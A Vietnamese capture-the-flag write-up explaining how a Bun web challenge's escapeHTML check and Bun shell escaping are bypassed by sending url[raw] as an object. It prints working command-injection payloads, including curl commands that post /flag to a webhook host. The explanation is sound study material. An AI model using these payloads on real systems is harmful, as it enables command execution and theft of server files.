Boom Boom Hell* - 176 point/28 solved
Description
Shall we dance? 🐻🐥🐰🎶
URL: http://34.146.180.210:3000/chall?url=https://www.lycorp.co.jp
source code here
Solution
Source code index.js không quá dài, chương trình chứa một api /chall
với param url
.
Ở dòng code thứ 23 và 28 rất dễ thấycó lỗi command injection, mình sẽ thực hiện khai thác theo flow như sau:
Tại dòng 28. ta có thể thấy code thực hiện ghi một số dữ liệu dạng datetime và url truyền từ input vào file .log
. Làm mình nhớ tới một dạng ghi payload vào file rồi gọi tới file với bash để thực thi. Nhưng không phải.
Thực tế, tham số url
được xử lý trước bằng hàm escapeHTML()
của bun
. Ban đầu mình nghĩ khó khăn ở đây là cần phải vượt qua hàm này sao cho độ dài chuỗi gốc và sau khi escape không khác nhau bao gồm ký tự đặc biệt để thực thi mã..
if (params.url.length < escapeHTML(params.url).length) { // dislike suspicious chars
return new Response("sorry, but the given URL is too complex for me");
}
Bun.escapeHTML()
utility được sử dụng để escape các ký tự HTML trong các chuỗi. Các kiểu không phải là chuỗi sẽ được chuyển thành chuỗi trước khi thực hiện escape. Việc thay thế được thực hiện gồm:
" becomes """
& becomes "&"
' becomes "'"
< becomes "<"
> becomes ">"
ex:
Bun.escapeHTML("<script>alert('Hello World!')</script>");
// <script>alert('Hello World!')</script>
Tham khảo escape-html hoặc đây test/js/bun/util/escapeHTML.test.js#L23
Mình nghĩ việc thêm escapeHTML ở đây như một cú lừa vậy. Bởi vì mình nghĩ khá dễ để bypass được filter này mà không cần tới các ký tự đặc biệt thuộc blacklist của escapeHTML()
.
Trước tiên, xét tới phần sink. Phân tích cú pháp bun shell . Bun shell là một ngôn ngữ nhúng thử nghiệm , trình thông dịch mới tỏng Bun, cho phép chạy các tập lệnh shell đa nền tảng trong JS và Typescript. Nói tới logic escape của Bun shell dưới dạng một function.
import { $ } from "bun";
console.log($.escape('$(foo) `bar` "baz"'));
// => \$(foo) \`bar\` \"baz\"
Nếu không muốn chuỗi output bị escape, chỉ cần bọc nó trong một object { raw: 'str' }
import { $ } from "bun";
await $`echo $`;
// => bun: command not found: foo
// => bun: command not found: bar
// => baz
Tham khảo https://bun.sh/docs/runtime/shell#escape-escape-strings
Từ ví dụ trên mình có được 2 ý tưởng để chèn payload: $(cat /flag)
hoặc cat /flag
.
Lúc này, việc thêm một object từ param.url
thì data này sau khi được parse bởi ${}
sẽ trả về định dạng raw ban đầu. Kết hợp với lệnh node/curl
trước đó để tạo thành một command injection payload. Với dòng code qs.parse(url.search, {ignoreQueryPrefix: true});
khi truyền url[raw]=$(payload)
sẽ trở thành một object
{
"raw": $payload
}
Payload được truyền tới sink . Lúc này $(param.url)
sẽ không được escape và sẽ được thực thi., mình nghĩ có thể thêm cách thứ 3 chỉ cần thêm phân tách lệnh để bypass thôi như ;id;
, |id|
Nhưng với payload như này thì mình nghĩ chỉ khai thác cmi được ở dòng code thứ 28 thôi. Vì kết quả trả về khi truyền object của cú pháp ${lyURL}
sẽ gọi tới toString
của nó chính là https://www.lycorp.co.jp/[object%20Object]
không bao gồm payload nên không thực thi được.
curl -sL https://www.lycorp.co.jp/[object%20Object]
Object URL
:
toString
của URL
sẽ trả về href
xem trong /blob/mastere/url.d.ts#L503
* Getting the value of the `href` property is equivalent to calling {@link toString}.
Quay trở lại với payload đang nói trước đó
Test với payload: /chall?url[raw]=;id;
Test local xong. Tiếp theo chỉ việc gọi command curl
tới webhook để lấy flag.
Như mình đã giải thích ở trên, cuối cùng có 3 cách để làm bài này:
/chall?url[raw]=`curl+https://webhook.site/xxxxx+-d+@/flag`
hoặc
/chall?url[raw]=$(curl+https://webhook.site/xxxx+-d+@/flag)
hoặc
/chall?url[raw]=;curl+https://webhook.site/xxxxx+-d+@/flag;
Unintended
Có một cách khác để khai thác được dòng dòng 23. Mà không phải truyền vào một object:
/chall?url=https://www.lycorp.co.jp/?`1`file:///flag
Ai đó đã report bug về escapeHTML()
ngay sau khi CTF này kết thúc. https://github.com/oven-sh/bun/pull/9619
Comments